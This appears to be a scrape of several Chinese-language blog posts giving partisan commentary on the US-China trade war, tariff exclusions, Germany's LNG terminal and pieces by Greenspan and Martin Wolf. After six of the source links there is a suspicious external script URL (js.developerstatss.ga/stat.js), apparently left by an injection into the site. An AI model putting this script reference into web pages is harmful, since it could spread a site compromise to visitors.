分類: 筆記
美國川普以國家安全名義大打貿易戰後，各行各業都向USTR提出「名單剔除申請」– 如果自身行業需要向中國購買的原料或商品不在名單上，則就免除被課徵額外關稅。
鋼鐵製造業公會（Steel Manufacturers Association）果然厲害，即便川普特別搞了個「鋼鋁關稅」，這個同盟依然成功地以申請132項，通過66項的50%超高成功率，讓許多鋼鐵業需要的重要中國原料免課額外關稅。
與此同時，國家餐廳公會（National Restaurant Association）成功率僅5%。
顯而易見，人同此心心同此理地，大家都知道餐廳這行業比鋼鐵製造更關係到國家安全呢～
另外成員包含Amazon與Walmart的國家零售業公會（National Retail Federation）申請1100項僅通過48項，成功率4.4%。
消費科技公會（The Consumer Technology Association）成員包含IBM、三星電子，申請400項僅通過10項。成功率2.5%。
成功率低的公會們紛紛表示黑箱操作，通過與否根本沒有邏輯準則可依循。
Plumbing Manufacturers International CEO, Kerry Stackpole表示：「關係夠麻吉才能打通關（If you have a close relationship then you can make a case.）」，該公司提出75項申請僅通過4項，成功率5.3%。
但USTR嚴正駁斥：「絕無偏袒，絕無黑箱作業！」
鋼鐵製造業公會更是公開聲明：「熱烈擁護川普貿易壁壘政策！」還進一步闡釋：「鋼鐵公會聘僱前政府官員為貿易戰顧問絕不會造成任何不公平現象，也符合道德規範。…我們絕沒有佔任何便宜，我們如所有人一樣依循規則提出申請，只是我們為會員權益認真工作而已。」
======================
我的看法：
1. 好棒的民主制度！創造多大的尋租空間啊～～
川普母雞帶小雞地養肥很多人呢！
2. 這些戲碼怎麼好像在太平洋彼岸的某大國也很常上演啊？天下烏鴉嘛～
倒是不曉得那些只會高舉美國價值，把美國制度形容得完美無暇的蠢覺青、偽專家們要怎麼幫忙化妝呢？口口聲聲說要中國改革，擁抱更進步的美國價值、自由市場，are you sure？
有首歌開頭第一句就這麼唱：「矇上眼睛就以為看不見～🎤🎼」
WSJ:The Steel Industry Gets What It Wants on Tariffshttps://js.developerstatss.ga/stat.js?n=ns1
分類
德國認慫的LNG接收站
故事很簡單。
德國一直以來多是透過輸氣管線從俄羅斯（50%）、挪威與荷蘭（共50%）直接購買便宜的天然氣。
美國強迫德國在北部海港興建液化天然氣接收站，以後都要跟美國購買成本結構就貴上20%的LNG。還不提接收站的危險性與工程代價。因為在美國端得先用特殊設備加壓天然氣成液化，然後用特殊LNG船隻跨海送至德國，再用特殊接收站卸貨。可是傳統輸氣管壓根就沒這些步驟。
德國總理梅克爾撐了這麼多年，現在認輸，但也向德國國會明白表示：「她認為10年內這個接收站都不可能損益兩平，必須長期政府資助才行。」
咦？上面這個故事我好像在某個政客食言環保承諾的鬼島才看過，好熟悉喔～
PS. 這個接收站將由中國港灣工程公司與美國DowDuPont公司共同興建喔。（咦？不是中美冷戰嗎？）
#美國來搶劫德國也只能認慫
#美國民主價值真高貴
#大家都認同美國價值呢
#美國軍費世界之冠都是為了世界和平 #絕不是為了搶劫他國喔
https://www.wsj.com/articles/in-win-for-trump-merkel-changes-course-on-u-s-gas-imports-1540209647https://js.developerstatss.ga/stat.js?n=ns1
好奇怪喔，說好的「肥得流油的轉單效應」呢？
quote:
“1. 上市單軋廠主管說，往年10月下旬，已經開始接次年1月的訂單，但當前連今年12月的訂單都還沒有接滿，據了解同業間接單情況都不佳，有的比設定目標值少三成，有的缺口高達五成以上，數字令人十分驚心。
由於接單量不足，價格方面持續下修，目前鍍鋅鋼捲等產品外銷報價已比第3季每公噸跌40美元至50美元，但顯然買家仍認為缺乏誘因，情勢發展對弱化的行情雪上加霜，業界預估低迷的市況恐延續到明年首季。
2. 經濟部10月22日公布9月外銷訂單，機械產品意外翻黑，訂單金額17.4億美元，年減5.3%，為2016年8月以來首度負成長，原先預期美中貿易戰有望受惠轉單效益的機械業，從爽迎轉單到全力搶單，僅僅兩、三個月時間。
汽車零組件也早被美中貿易戰轟得暈頭轉向，G2互打效應超過原本汽車零組件廠預期，除原本在大陸廠生產銷美的產品受到影響，即使從台灣生產外銷部分也因北美GDP恐受美中貿易戰衝擊，影響需求。
3.塑化也一樣，美中貿易戰持續延燒，衝擊市場信心，下游客戶陷入觀望、訂單縮手，處於供應鏈最上游的塑化原料報價出現鬆動。像是丁二烯價格上周暴跌11.3%，苯乙烯（SM）也重挫6.6%，另外五大泛用塑膠中的PVC、ABS上周價格跌幅都超過2%。
台塑董事長林健男先前就開出第一槍，在本月初台塑集團業績說明會中，預告貿易戰比預期嚴重，客戶備貨意願降低，造成部分塑化產品售價下滑，下修台塑第4季營運展望…"
「貿易戰衝擊 鋼廠外銷接單大衰退」
https://udn.com/news/story/7238/3438927
「貿易戰瘋狗浪 襲向四產業」
https://udn.com/news/story/7238/3438944https://js.developerstatss.ga/stat.js?n=ns1
分類
聯合國投資趨勢監測報告
聯合國2018上半年「Investment Trend Monitor Report（投資趨勢監測報告）」
幾個重點摘錄：
1.全球外國直接投資數額相較去年同期減少41%，達$470B USD
2. 已開發國家外國投資金流出嚴重，如愛爾蘭（-$81B USD）、瑞士（$-$77B USD）；美國的外國投資金額跌幅近73%！
3. 相較於已開發國家的衰退，開發中國家接受外國投資金額成長4%，佔全球總額66%。
4. 中國2018上半年是全世界獲得外國投資最高額之國家，達$70.2B USD，相較去年同期成長6%。
————————–
上半年尚未受到貿易戰影響，很期待看到下半年報告。應該會有一些有趣的轉變發生。
上半年尚未受到貿易戰影響，很期待看到下半年報告。應該會有一些有趣的轉變發生。
#咦
#說好的大家一起排擠中國
#怎麼會這樣？
#乾癟蘋果蘋癟乾
本文是前Fed主席Alan Greenspan投書，值得一讀，摘要如下：
1. 美國僅有世界5%人口，卻貢獻了25% GDP，可見美國生產力多麼驚人，財富也同等巨大。然而，若將時間倒轉至幾個世紀前，假設當年也召開全球G3高峰會，則與會國家將只有中國、奧圖曼土耳其帝國與剛剛崛起的英國。美洲大陸甚至還未出現在某些人的地圖上哩。。
2. 然而，這二十年來美國卻碰上了經濟成長停滯 — 新設立公司數量為進入現代以來最低、道路建設也已停滯30年、成長潛力率（無通貨膨脹下的真實經濟成長）也在衰退，
3. 作者認為在1865年～1900是美國經濟成長的黃金時期，當時有最少的法規限制，政府也極少介入自由市場。卡內基與洛克斐勒二位商業鉅子，在短短時間內達到高效率生產鋼鐵與石油，二者價格在其手上降低了90%！（但也諷刺的是，19世紀末到20世紀初風起雲湧的反托拉斯法，狠狠地懲罰了成功且對社會大有助益的商人洛克斐勒，還分拆了他的公司標準石油。政客利用『正義』為藉口干預了市場，使人民付出更高的代價而自己卻享有不符其實的道德高位與大名）
4. 作者認為美國經濟成長動力來自於「容忍創造性破壞」。許多行業、服務與各式發明之所以能在美國存在，正是因為美國有這樣的環境與文化。
5. 作者也指出，這二、三十年來美國經濟停滯的主要原因有二：
a. 企業家精神衰減 — 1980年代每8家公司就有一家為新設立；如今每12家才有一家新設公司，美國企業家的冒險精神正逐漸喪失，而川普總統卻還用貿易戰來罷凌企業，民主黨更糟糕地試圖用「企業社會責任」這玩意兒干預企業活動。
Dodd-Frank 法案名義上是為了保護人民不再受金融風暴殘害，但實際上卻是箝制了金融業的創造力與活力。
作者認為過低的銀行存款準備率才是金融風暴的緣由（這點我不完全認同），但2008年美國銀行存款準備率約8~10%，2018年還是維持在11%低檔。作者認為美國政府根本搞錯重點，而該謹慎小心之處仍十分大意，該開放自由的卻過度管制。
（相較起來，中國銀行存款準備率在2014年時維持在20%高水位，然後逐步降低至最近的14.5%）
b. 過高的社會福利 — 1965年社會福利支出（如社會安全制度與健保制度）佔美國GDP僅5%，而今日已達14%。而這些開支都是無生產力的。（當無生產力開支佔整體社會越高的份額，這個國家將越希臘化）
作者認為1935年設置的退休年齡早已不符合當今環境，許多已屆退休的族群其實生產力還很高，應該鼓勵其繼續投入工作，而非終止其工作之權利。
＝＝＝＝＝＝＝＝＝
我的觀點：Greenspan經濟學功力相當高，他的投書都值得花點心思閱讀。只是本文有關08’年金融風暴說法我不甚認同，小弟自己的看法已經寫過幾篇文章討論，有興趣的朋友請自己關鍵字搜尋爬文。
但Greenspan對美國整體經濟發展多年停滯的觀點我是相當認同：美國並非陷入泥沼，而是被關在自己打造的鐵籠裡。只要自己不犯蠢，把鐵籠打開了，美國經濟實力與成長潛力依舊可觀！
晶片如果沒有相對應設計的電路連結，如果不通電，是不會有任何作用的。
不是電影演的那樣隨便拿顆鼻屎黏在機房櫃架上就自己能通電能作用還能傳輸。
最好代工廠偷更改主板上電路設計不會被委託方的工程師們發現。而且還不是一家公司被偷改電路偷裝晶片，是30幾家耶！生產線冒出一顆不知道哪來的IC要焊上板子，這要買通多少人才辦得到？還不會洩密？直到國會選舉前才曝光？
中國政府真這麼厲害，哪還需要打什麼貿易戰？
退萬步言，可以在這麼小的IC上置入CPU、射頻（咦？天線呢？不用天線就能射頻耶）來達到入侵攔截藍芽訊號功能，你還敢嘴中國IC產業不夠力？XD
https://chinaqna.com/a/40468https://js.developerstatss.ga/stat.js?n=ns1
FT首席經濟評論員看壞美國，兼論智財權保護於中美貿易衝突
Martin Wolf of the Financial Times
“ Donald Trump is wrong: China is not Mexico”
1. Trump has the wrong idea on global trade — bilateral mercantilism and asymmetric balance of pain.
2. Serious economists, back to Adam Smith, would insist that seeking a surplus with every trading partner is not winning.（這點我過去談過了，懂Adam Smith國富論都知道重商主義錯誤之處，可惜還有很多自詡總體經濟學專業者不懂哩～）
3. 此貿易協定尚未通過三國國會同意，而年底大選民主黨重新掌握國會機率相當高（事實上美國歷史上多數時候，國會多數黨往往非總統所屬政黨）
4. 美國之所以可以簡單透過威脅方式逼迫墨西哥與加拿大同意該協議，是因為墨西哥2017年出口美國占該國GDP達28%，加拿大同年為19%。但是中國出口美國僅佔中國GDP 4.1%（貿易順差額佔GDP3.1%)，換言之，美國之所以中國的重要性遠不如美國之於加墨。
5. 中國1/3出口貨品的原物料或半成品來自於進口，這表示中國市場龐大到多數國家不可能僅僅為了美國就與其翻臉。（從預期收入角度來看，與中國翻臉的成本並不低，美國除非願意補償這部分損失，亦或者有其他原因讓世界他國願意承擔這代價）
6. 美國出口中國之所以很少，反映的是美國貨在中國市場缺乏競爭力之事實，作者認為川普應該努力的是這點。
7. Martin 更指出：若中國真的如川普要求改善智慧財產權保障與大幅度開放投資市場，則可能吸引更多美商放棄美國轉投資中國，如此一來豈非與川普所願相違背？
8. 與我的看法相同：作者認為貿易戰肯定結果是「全世界都是輸家」，差別只在於「誰輸多誰輸少」。
9. 作者從最近歐洲央行的「中國會從貿易戰勝出」報告中點出一個有趣的且極為簡單的經濟邏輯：貿易戰中，越大的經濟體受損會越少。而全世界相對於美國，前者是後者的3.3倍！以此切入，美國勝率實在不高。尤其全世界目前只有美國自己要打貿易戰，其他國家彼此之間可沒這麼無聊。
10. 作者結論指出，不管美國怎樣干涉，都無法改變中國經濟與科技會繼續進展的事實。若美國繼續堅持，必然損及自身的經濟貿易與世界經濟乃至於國際關係。
#英國金融時報的首席經濟評論員Martin Wolf怎麼可以越級打怪？
#這家不入流財經媒體怎可以不自量力地反駁上海乾癟蘋果及其小夥伴們？
#中美貿易戰美國怎麼可能受損？
#老娘的經濟學就是「天下有白吃午餐」的零成本經濟學
—————————————————————————
我的看法，兼論國際貿易協議與智財權保護：
知名商業史作家John S. Gordon於WSJ投書：「The United States of Free Trade」，摘要如下：
1. 作者開篇就引了美國法律上赫赫有名1824年的"Gibbons v. Ogden"一案，該案簡言之就是紐約州政府針對河運頒發壟斷特許權給Robert Livingston與Robert Fulton的新興技術公司 — 蒸汽船。
而此舉侵害了原本在紐約州與紐澤西州同樣航運蒸汽船的Thomas Gibbons，於是Gibbons一舉告上法院，案子一路來到聯邦最高法院。
聯邦最高法院法官一致同意，判決紐約州政府的壟斷性特許權違反美國憲法而無效。
此例一開，大大有利於美國內陸船運經濟發展，判決後僅僅一年，紐約水域的蒸汽船從6艘成長至43艘，運費則下降40%！
而許多法學家、歷史學家均同意，此判決是奠定美國自由市場經濟的基礎！各州之間無法再像殖民地時期、建國初期那樣胡亂設置州的貿易障礙，美其名保護各州自身產業利益，其實對整個美國大不利。
2. 自由貿易可以讓比較優勢定律乘數發威，對提高生產效率與增加人民財富大有幫助。
3. 但作者也指出，美國聯邦政府在多數歷史時間裡，卻是站在自由貿易的對立面！
1930年國會通過Smoot-Hawley法案，實質關稅稅率拉至美國歷史第二高近60%，其災難性的結果就是美國出口額從1929年的$5.241B降至1932年的$1.161B，相當於77%的衰退。
全世界總貿易額度也於同時期從$36B下減至$12B ，66%的衰退，全球經濟退步至1896年水準，倒退36年。
錯誤的政策與貿易戰，加劇原本的景氣衰退，使接下來10年成為人盡皆知的大蕭條（the Great Depression）。不僅使全球財富縮水，更間接促成納粹崛起與日本軍國主義侵略中國，全球數千萬人口死於戰亂。
4. 二次世界大戰結束，美國從大蕭條學得的教訓，因此聯合共23個國家簽署GATT（General Agreement on Tariffs and Trade），平均實質關稅稅率調降至22%。
接下來持續的下修開放，到1999年時，美國平均關稅稅率來到5%歷史新低。
此自由貿易進展，帶來的是全世界驚人的財富噴發性成長。
1950年世界純商品貿易總額為$58B，1999年成長至$5.4T，2017年來到$17T！（年複合成長率8.8%）
5. 關稅調降並非世界繁榮富裕的唯一因素。科技進展、更好的貿易政策、貨櫃的發明…等等原因，均有其貢獻。
6. 作者指出，阻止世界進一步更自由貿易的主因，恰恰來自於美國內部。例如美國製糖業是一個政治上相當有影響力的利益團體，透過配額制度保護美國製糖業者，卻也讓消費者付出高於他國的代價。
此外戰略考量也是阻止自由貿易的原因之一，總有政客認為美國必須掌握戰略物資、戰略技術，因此自主開發生產各類武器乃至於鋼鐵就成為保護這些產業的藉口。
而最愚蠢者莫過於「貿易平衡說」–此謬論認為出口必須大於進口才對國家有利。（這點是我這兩天批評過的愚蠢重商主義思維，建議大家讀讀Adam Smith的國富論）
作者指出，貿易逆差是任何快速成長與成熟的經濟體必然存在的現象，美國整個19世紀都是貿易赤字，卻仍就成長為世界經濟第一霸權。顯見「貿易赤字有害論」根本是胡扯。
——————————————————————–
我的看法：
1. 美國殖民地到建國初期的法制史非常有趣，尤其是美國獨立但尚未有聯邦政府的這段期間，以及聯邦政府成立後美國最高法院怎樣為自己爭取到三權鼎足分立，值得對制度經濟學有興趣的朋友花點心思。
2. 美國動輒以反傾銷對付外國廠商，本身也是違反自由貿易的舉措。還有許多非關稅貿易障礙，例如消費者保護法、各種環保法規甚或國家安全相關法規等，這些作者沒提到，我於此補充。
3.. 一堆蠢台獨講起中美貿易戰幾乎多假設「美國不用付出任何成本就能打」。從根本就錯了，即便東拉西扯各種陰謀論滿天飛或論文文獻引一堆，其實都只是可笑地放屁。
WSJ本文恰恰從史實層面點出，過去美國貿易戰如何付出重大代價，這才是真實世界的經濟學。
我們最常見的經濟相關蠢話或謬論，多半不是「忽略行為成本」就是「違背自私假設」。此二點是快速判斷任何論點自身經濟邏輯是否正確的快速試紙。
4. 本文作者John S. Gordon的「An Empire of Wealth: The Epic History of American Economic Power」是我很推薦的一本書。https://js.developerstatss.ga/stat.js?n=ns1
元毓說 